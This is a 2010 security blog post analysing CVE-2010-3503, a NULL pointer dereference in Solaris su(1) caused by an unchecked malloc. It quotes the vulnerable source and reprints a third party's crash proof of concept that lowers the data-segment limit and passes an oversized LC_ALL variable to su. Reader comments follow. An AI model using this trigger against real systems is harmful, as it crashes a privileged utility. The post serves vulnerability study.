xorl %eax, %eax

CVE-2010-3503: Solaris su(1) NULL Pointer Dereference

with 5 comments

This vulnerability affects both Solaris 10 (on x86 as well as SPARC) and OpenSolaris. Since there is no reference on credits for this vulnerability in Oracle’s site I’ll assume that SecurityFocus is correct and credit prdelka as the person who discovered and disclosed this bug. In his released notes (sun-su-bug.txt) he discusses everything you need to know for this vulnerability. In any case, I’ll write about it too. :P

So, the buggy code can be found at usr/src/cmd/su/su.c and specifically in the main() function of su(1) utility. Here is the buggy code now…

/*
 * Locale variables to be propagated to "su -" environment
 */
static char *initvar;
static char *initenv[] = {
	"TZ", "LANG", "LC_CTYPE",
 	"LC_NUMERIC", "LC_TIME", "LC_COLLATE",
 	"LC_MONETARY", "LC_MESSAGES", "LC_ALL", 0};
       ...
int
main(int argc, char **argv)
{

       ...
		int j;
       ...
		/*
		 * Fetch the relevant locale/TZ environment variables from
		 * the inherited environment.
		 *
 		 * We have a priority here for setting TZ. If TZ is set in
 		 * in the inherited environment, that value remains top
 		 * priority. If the file /etc/default/login has TIMEZONE set,
 		 * that has second highest priority.
 		 */
 		tznam[0] = '\0';
 		for (j = 0; initenv[j] != 0; j++) {

You can see from the comment what this code does. To do this, it loops through each environment variable defined in the ‘initenv[]’ array which is defined above. Inside this ‘for’ loop you can read this code:

			if (initvar = getenv(initenv[j])) {
 
 				/*
 				 * Skip over values beginning with '/' for
 				 * security.
 				 */
 				if (initvar[0] == '/')  continue;
 
 				if (strcmp(initenv[j], "TZ") == 0) {
 					(void) strcpy(tznam, "TZ=");
 					(void) strlcat(tznam, initvar,
 					    sizeof (tznam));

 				} else {

It retrives each environment variable using getenv(3) and skips variables beginning with ‘/’ for security purposes. Next, if it finds the “TZ” environment variable (using strcmp(3)) it will copy the appropriate time-zone to it. Otherwise, if this isn’t the “TZ” variable it will execute the ‘else’ code which is shown below.

 					var = (char *)
 					    malloc(strlen(initenv[j])
 					    + strlen(initvar)
 					    + 2);
 					(void) strcpy(var, initenv[j]);
 					(void) strcat(var, "=");
 					(void) strcat(var, initvar);
 					envinit[++envidx] = var;
 				}
 			}
		}

Here, ‘var’ is initialized with the pointer returned by malloc(3). This code is used to allocate heap space for:

strlen(initenv[j]) + strlen(initvar) + 2

And then store the value of the environment variable (which is the ‘initvar’) to the environment variable ‘initenv[]’. The additional two Bytes are for the NULL termination and “=” character that is used for the assignment.
The bug here is that there is no check on the return value of malloc(3). Consequently, if user could make malloc(3) fail it will result in having a NULL return value as we can read at its man page. Because of this, ‘var’ can be NULL and the subsequent strcpy(3) and strcat(3) copy operations to it will result in a NULL pointer dereference.
prdelka coded a PoC code to demonstrate the vulnerability.

/* Sun Solaris <= 10 'su' NULL pointer exploit
   ===========================================
   because these are so 2009 now. I would exploit
   this but my name is not spender or raptor. Sun
   do not check a call to malloc() when handling
   environment variables in 'su' code. They also
   don't check passwords when using telnet so who
   cares? You have to enter your local user pass
   to see this bug. Enjoy!

   admin@sundevil:~/suid$ ./x
   [ SunOS 5.11 'su' null ptr PoC
   Password:
   Segmentation Fault

  -- prdelka
*/

Here is the code…

#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>
#include <sys/fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>

struct {
        rlim_t    rlim_cur;     /* current (soft) limit */
        rlim_t    rlim_max;     /* hard limit */
} rlimit;

int main(int argc,char *argv[]){
        int fd;
        struct rlimit* rlp = malloc(sizeof(rlimit));
        getrlimit(RLIMIT_DATA,rlp);
        char* buf1 = malloc(300000);
        memset(buf1,'A',300000);
        long buf2 = (long)buf1 + 299999;
        memset((char*)buf2,0,1);
        memcpy(buf1,"LC_ALL=",7);
        rlp->rlim_cur = 16400;
        setrlimit(RLIMIT_DATA,rlp);
        char* env[] = {buf1,file,NULL};
        char* args[] = {"su","-",getlogin(),NULL};
        printf("[ SunOS 5.11 'su' null ptr PoC\n");
        execve("/usr/bin/su",args,env);
}

Initially, he allocates space for the resource limit structure using malloc(3). Then, using getrlimit(2) system call he obtains the maximum size of data segment of his process. He allocates a 300KB buffer, initialize it with “A” and NULL terminates it. The first bytes of the allocated buffer are set to “LC_ALL=” and the current resource limit is set to 16.4KB using setrlimit(2). Finally, a new process is spawned that will execute ‘/usr/bin/su’ passing to it the huge “LC_ALL” environment variable. When su(1) will attempt to allocate sufficient space for the “LC_ALL”‘s value it will force malloc(3) to fail since it has a resource limit of 16.4KB while it attempts to allocate 300KB. This will trigger the strcpy(3) and strcat(3) write operations and of course, the NULL pointer dereference.

About these ads

Written by xorl

October 15, 2010 at 15:08

Posted in bugs, solaris

5 Responses

Subscribe to comments with RSS.

  1. Oh really, he would exploit this? It would be interesting to see how.

    curious

    October 16, 2010 at 10:24

  2. I don’t think that it’s exploitable.

    xorl

    October 16, 2010 at 11:37

  3. I love this blog, keep it high xorl :)

    adrian

    October 19, 2010 at 10:12

  4. “I would exploit this but my name is not spender or raptor.”
    It is possible he being confused…

    fan

    October 21, 2010 at 11:47

  5. if suid dump is allowed……
    not.

    sipher

    October 31, 2010 at 19:11


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

Join 62 other followers